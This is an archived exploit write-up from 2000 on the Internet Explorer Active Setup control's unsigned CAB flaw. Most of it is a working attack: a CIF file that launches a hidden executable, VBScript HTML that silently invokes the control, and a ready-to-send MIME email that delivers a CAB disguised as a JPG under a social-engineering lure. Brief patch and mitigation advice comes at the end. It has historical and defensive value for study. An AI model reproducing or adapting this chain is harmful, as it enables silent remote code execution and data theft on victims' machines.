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unsigned.cab.exploit.txt

unsigned.cab.exploit.txt
Posted Mar 2, 2000
Authored by Mukand

Vulnerability details and example exploit for Microsoft Active Setup control's unsigned CAB file execution vulnerability. Patched in November, 1999, the vulnerability was so severe that almost any kind of break-in was possible into unpatched IE client machines.

tags | exploit
SHA-256 | 1684ad0afbda5162d8019379c7e169866a47682a78b0a41d05b5b936c363c1ae

unsigned.cab.exploit.txt

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Vulnerability details and example exploit
for Microsoft Active Setup control's
unsigned CAB file execution vulnerability.

Introduction

Microsoft's Active Setup Control (asctrls.ocx) shipped with
Internet Explorer 4 and above has a vulnerability in it as
discovered by Juan Carlos Garcia Cuartango
<cuartango@teleline.es>, which was posted on BUGTRAQ (ID 775)
in the month of November, 1999. Microsoft has released patches
for its control which may be procured from its website. This
document aims to provide the actual details of the
vulnerability as well as an example exploit.

NOTE: This is NOT a document on the Microsoft signed software
backdoor vulnerability as posted on BUGTRAQ (ID 999) in
February 2000.

Disclaimer

The material in this document is released AS IS for EDUCATIONAL
PURPOSES ONLY. This document may be used by security analysers
to monitor how probable crackers may intrude into their
systems. The author of this document does not wish to give his
opinion on supporting or critisizing vulnerability analysis.
You are advised against using any of the material in this
document for criminal purposes.

All responsiblity of action, pros, cons, the cause and effect
of your action, is on you. You are responsible for EVERYTHING.
The author is in no way responsible for any sort of action
which is caused by the material in this document. YOU ARE ON
YOUR OWN.

Vulnerability Details

On November 8th 1999, a public announcement was made that a
severe vulnerability existed in Microsoft's Active Setup
control which was shipped with Internet Explorer 4 and above.
The vulnerability was so severe that almost any kind of
break-in was possible into client machines. Email bombs,
viruses, criminal acts such as gathering of secret documents,
etc. are all very possible with such a security hole.

Microsoft was quick to release a security bulletin and make
patches available on its website. Nobody apart from Microsoft
and Juan Carlos Garcia Cuartango knew how to exploit the
vulnerability and the whole world was a safer place. Not many
knew how to use the Active Setup control as not much
information was released to the public about the control. Now
that its been quite a while since patches have been made
available, I have decided to release an example exploit to
implicitly explain what kind of security measures have to be
deployed.

The Active Setup control has a vulnerability which allows the
installation of software from unsigned local CAB files. By
local files, I mean CAB files on the client machine (as opposed
to on the Internet). No checking is done and the contents of
the cabinet file are trusted. This is the vulnerability.

For details on the Active Setup process and using the
component, please refer to the links provided at the end of
this document. In short words, the Active Setup control is a
software component (which may be used in other
programs/scripts) to install software. The Active Setup control
is used through function calls in the program/script code. An
input CAB file contains a list of installation files (including
executable files) and a cabinet information file (CIF) which
describes what is to be done with the CAB file.

Exploit Details

PLEASE READ THE DOCUMENTATION ON THE ACTIVE SETUP CONTROL
(given in links below).

We now examine how this bug may be exploited. Supposing we are
able to store an unsigned CAB on the client machine, it becomes
local to the client. Hence, we may process the unsigned CAB
file using the Active Setup control successfully. We may use an
HTML file with VBScript in it to run the control. VBScript has
support for ActiveX controls (Active Setup is an ActiveX
control). The VBScript is invoked when the HTML file loads. The
VBScript then initializes the control with details of where the
CAB file is present on the client machine, and asks the control
to process the CAB file. The Active Setup control then
processes the CAB file, and executes EXE programs archived in
the CAB file with NO SECURITY LIMITATIONS. The EXE program may
then do anything it wishes to do.

Now, obviously, there are questions in your head. How do I
transfer a CAB file onto the client's machine? The answer is
simple. The client user is not mad to download an unsigned CAB
file. So you may disguise it as a file of another format (in
short words, rename the file's extension). Now, what types of
files are implicitly downloaded? HTML, GIF, JPG, etc. which
make up a page are downloaded when the user visits a site using
Internet Explorer. But these files are stored in temporary
directories. Although a CAB file disguised as a JPG file will
download onto the local client, where will it be stored? The
location is not fixed. When the location can be determined, we
may be able to write an exploit for Internet Explorer. But
until then, there are other options.

Hey, what about Outlook Express? Too many people have told me.
"DON'T USE OUTLOOK EXPRESS! It's too intelligent." They are
right I guess. Outlook Express uses components of Internet
Explorer to handle HTML files. So You can display HTML messages
in Outlook express. More important, YOU CAN RUN VBSCRIPTS in
Outlook Express.

How is it going to help? SIMPLE. I attach a file called "x.jpg"
to a email and send it to the client, and the client downloads
it using Outlook Express. When he/she VIEWS THE EMAIL (when
he/she clicks on the subject in the message window), Outlook
Express tries to display the attached "x.jpg" file as a JPEG
attachment. For this, it saves the JPEG file in the directory
pointed by the environment variable TEMP. This is mapped to
C:\WINDOWS\TEMP on most machines. So, "x.jpg" is saved as
"C:\WINDOWS\TEMP\x.jpg". Now, if i create a CAB file (with my
malicious EXE program in it) and rename it to "x.jpg" and
attach it to a email message, it will go to the same location.
Outlook Express will fail to display the file (will show an
icon with "X" instead). So, I now know the location of the CAB
file on the client machine. I can also execute VBScript from
the same email message (which contains HTML), which will then
create and initialize the Active Setup control to install from
the local file (C:\WINDOWS\TEMP\x.jpg). The Active Setup
control does not mind the different file extension. Then, when
the VBScript asks the control to process the components of the
CAB file, the malicious EXE program can execute.

Practical Demonstration

First, let us build the CAB file. We have the executable EXE
program which has to be executed on the target machine. Let's
call it ASDF.EXE. This ASDF.EXE could be a non-interactive
program which runs silently (as in a real life cracking
scenario) without any visual indication of it running. For our
example we may make a copy of NOTEPAD.EXE and call it ASDF.EXE.

Now, we need to put another file into the CAB. It is a cabinet
information file (CIF). An example file is given as follows
(with comments). More on creating this file, and fields you can
put in it, is present in a description of the Active Setup
control given in one of the links at the end of this document.

; Start of ASDF.CIF (note: semicolon is for comment)
; Anything in [] means a section
[Version]
Signature=$Chicago$
; DisplayName gives the name that the Active Setup
; control displays when it tries to install the component
; (if you ask it to display progress indicators, etc.)
DisplayName=Active Setup Control Sample Exploit
;Require 1MB of free space to start
MinFileSize=1000
; [ASDF] is a section devoted to the dummy
; ASDF component we will fake installing.
[ASDF]
; Guess you know this already.
DisplayName=ASDF Sample Main Module
; GUID is a unique ID.. guess something unique will do.
GUID={AABBCCDD-B00B-FACE-DADA-00AA00BB00CC}
; URLn point to URLs of various CAB files. Our CAB file
; will eventually be disguised (renamed) as a JPG file
; and be stored in "asdf.jpg". so there.
URL1="ascb.jpg",3
; Sizen = compressed/actual size of installation files on disk?
; A dummy value greater than size of "ASDF.EXE" should do.
Size1=1417,1430
; This is important. Commandn gives the name of the
; command (in the CAB file) to execute when installation
; starts. This will be our EXE file.
Command1="asdf.exe"
; Type of installation. This field is described in the
; documentation for the Active Setup control.
Type1=2
Version=1,00,1234,0
; 0 = no reboot, 1 = reboot.
; obviously, DON'T REBOOT AFTER INSTALLATION IS COMPLETE!
Reboot=0
; Space occupied by the installed files. A dummy value
; greater than size of "ASDF.EXE" should do.
InstalledSize=980,524
; End of ASDF.CIF

We now need a program to create the CAB archive which will
contain the two files ASDF.EXE and ASDF.CIF. MAKECAB.EXE, which
is included with Microsoft Visual Studio distributions doesn't
seem to be able to handle more than one file inside the CAB
archive. You may try a shareware program like Archive Explorer
available from http://www.dennisre.com/ax/ to create your CAB
files.

Once your CAB file is created (containing ADSF.EXE and
ASDF.CIF), rename the CAB file to ASDF.JPG. Now, the CAB file
is ready. Let's move on to the VBScript part.

Create a HTML file with the following contents. The contents
are described with comments in the file itself. No further
explanation should be necessary.

<!-- Start of HTML code -->
<HTML>
<HEAD>
<TITLE>Hi</TITLE>
</HEAD>
<!-- On loading, we execute the VBScript function TryInstall()
-->
<BODY OnLoad="TryInstall()">
<!--
Create an object with the following classid. The classid
is for the HKEY_CLASSES_ROOT\ASControls.InstallEngineCtl
and can be verified using REGEDIT.EXE. Call the object "Inst".
This is our Active Setup control we will exploit.
-->
<object id="Inst"
classid="CLSID:6E449683-C509-11CF-AAFA-00AA00B6015C">
</object>
<script language="VBScript">
<!--
Sub TryInstall()
'Set the BaseUrl to C:\WINDOWS\TEMP
'and the CIF file to ASDF.CIF which is inside
'ASDF.JPG (which is actually the renamed CAB file).
'This is because Outlook Express will save the asdf.jpg
'file in C:\WINDOWS\TEMP on most systems.
Inst.BaseUrl = "file:///C:/Windows/Temp"
Inst.SetCifFile "asdf.jpg", "asdf.cif"
'Now, the installation engine of the Active Setup control
'will unpack the CAB file and initialize itself with details
'from the included CIF file. But this takes TIME. If this were
'Visual Basic, we could have polled Inst.EngineStatus in a loop
'with a DoEvents in it. But this won't work in VBScript.
'So we will introduce a delay for the engine to initialize
itself.
'There is no Sleep() function in VBScript :(
'
'We can simulate a 1/2 second sleep using the following
workaround
'by splitting up our code into two functions.
x = SetTimeout("DoRest",500,"VBScript")
End Sub
Sub DoRest()
'Ah! 1/2 second has passed. So has the engine initialized
itself?
If Inst.EngineStatus <> 3 Then
'Uh oh! We have a problem if EngineStatus <> 3! If you have
followed
'instructions correctly, this would mean that the 1/2 second
delay
'was not enough. Or maybe you have installed Microsoft's
patches :)
'If a larger delay doesn't help, check if the file "ADSF.JPG"
exists
'in C:\WINDOWS\TEMP and it is a valid CAB file and it contains
the
'ASDF.CIF and ADSF.EXE files. Check if ASDF.CIF has valid and
correct
'information.
'
'The thing anyone would do now would be to silently exit the
VBScript and
'keep quiet about it.
Exit Sub
End If
'Oh wow! We have things moving now. There were no problems with
the
'engine initialization.
'SetAction sets the action for the [ASCB] module to be
1=Install module.
'SetAction accepts values other than 1 for uninstall, etc.
Inst.SetAction "ASCB", 1
'ProcessComponents is used to start the install (our dummy
install).
'This will execute the command described by Command1="asdf.exe"
line
'in ASDF.CIF file.
'
'ProcessComponents with an argument of 7 (111 binary) will
inhibit
'the display of all progress and status and information windows
during
'the dummy installation.
Inst.ProcessComponents 7
'Well, if you have come so far, your program ASDF.EXE has
already run.
'So there.
End Sub
//-->
</script>
</BODY>
</HTML>
<!-- End of HTML code -->

Now what? Well, I guess it should be simple now. Create an
email message containing the above HTML. Attach the ASDF.JPG
file to it. Send it to the target client.

A sample email which you can pipe into /usr/lib/sendmail is
given as follows. This will work with Outlook Express.
Use "/usr/lib/sendmail -t < the_following_text.txt".

From: Sender <sender@yourhost.com>
To: Receipient <receipt@targethost.com>
Subject: Hi
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0071_01BF2DD4.558D3F20"
This is a multi-part message in MIME format.
------=_NextPart_000_0071_01BF2DD4.558D3F20
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0072_01BF2DD4.558D3F20"
------=_NextPart_001_0072_01BF2DD4.558D3F20
Content-Type: text/plain;
charset="us-ascii"
Here is a great picture for you....!!!
------=_NextPart_001_0072_01BF2DD4.558D3F20
Content-Type: text/html;
charset="us-ascii"
<HTML>
<HEAD>
<TITLE>Hi</TITLE>
</HEAD>
<BODY OnLoad="TryInstall()">
Here is a great picture for you....!!!
<object id="Inst"
classid="CLSID:6E449683-C509-11CF-AAFA-00AA00B6015C">
</object>
<script language="VBScript">
<!--
Sub TryInstall()
Inst.BaseUrl = "file:///C:/Windows/Temp"
Inst.SetCifFile "asdf.jpg", "asdf.cif"
x = SetTimeout("DoRest",500,"VBScript")
End Sub
Sub DoRest()
If Inst.EngineStatus <> 3 Then
Exit Sub
End If
Inst.SetAction "ASDF", 1
Inst.ProcessComponents 7
End Sub
//-->
</script>
</BODY>
</HTML>
------=_NextPart_001_0072_01BF2DD4.558D3F20--
------=_NextPart_000_0071_01BF2DD4.558D3F20
Content-Type: image/jpeg;
name="asdf.jpg"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="asdf.jpg"
TVNDRgAAAACaSAAAAAAAACwAAAAAAAAAAwEBAAIAAADKUQAAXgAAAAIAAxUA0AA
AAAAAAAAA
YOUR MIME ENCODED ASDF.JPG FILE (CABINET FILE)
GOES HERE. use "mimencode" to encode your file.
JzyP5RPpLP721w5JQuJDq4X9V+Lg9T+5N/TYlKJPQO5OhkNNxv/C5VJSf1mvnD/
dkpPBfy+X
seZRxIgSPp8AAA==
------=_NextPart_000_0071_01BF2DD4.558D3F20--
.

Place your MIME base64 encoded ASDF.JPG file in the place shown
above. Remove the lines with the junk characters (watch the
spacing). They are retained above as delimiters for your
reference. You should put your own MIME encoded ASDF.JPG in
place of it. You can MIME encode your file using the
"mimencode" program.

Cons and defences

This bug is BIG. Anyone can do anything with your computer if
you use Outlook Express and have not taken precautionary
measures. The threat of email viruses, email bombs, etc. cannot
be ruled out. More importantly, if your computer contains
classified data, this can easily be transferred out. Proxies
and firewalls cannot prevent any damage!

What can be done?

1. Download the patches from Microsoft's website for the Active
Setup control and install them.
2. Junk Outlook Express. It is too intelligent. Use a simple
e-mail client such as PINE.
3. Set your TEMP directory to something else.
4. Disable all ActiveX component execution (High security
zone).

Links

http://www.securityfocus.com/bid/775/ - Active Setup control
vulnerability details on securityfocus.com.
http://msdn.microsoft.com/library/periodic/period98/vbpj0798.ht
m - Documentation on the Active Setup control.
http://www.microsoft.com/technet/security/bulletin/fq99-048.asp
- Microsoft's security bulletin for the vulnerability.
http://www.microsoft.com/msdownload/iebuild/ascontrol/en/ascont
rol.htm - Microsoft's update for the control.
http://pages.whowhere.com/computers/cuartangojc/ - Juan Carlos
Garcia Cuartango's pages.
http://www.securityfocus.com/ - Security news, BUGTRAQ,
security related utilities, etc.

Author

I'm a student of M.Sc. Computer Science. I do security
analysis, Linux network security, web development, 3D-game
programming, demos, network programming, data compression, etc.
I know C, x86 asm. My primary development platform has been
Linux for the past 5 years. I love music.

I trust opensource systems.

This bug scares me and sometimes makes me laugh too. After
working on numerous vulnerabilities which needed setting up
byte sequences to exploit buffer overflows, and other stuff,
this vulnerability comes along. And it says, roll your own EXE
file, transfer and execute it on any machine. Beats everything
I have seen so far.

Please educate people about this bug. This bug is more severe
than it seems. Spread the word asking people to download the
patches off Microsoft's site and install them.

PS: Although I would love to hear from you, please DO NOT bomb
me with mail ;) Please keep your discussions on this topic on
BUGTRAQ as much as you can. You can get all the information you
need in this document and by following the links given above.
If you have any problems with the content on this page and want
me to take some of it off, please contact me.

Cheers!
Mukund <muks@crosswinds.net>
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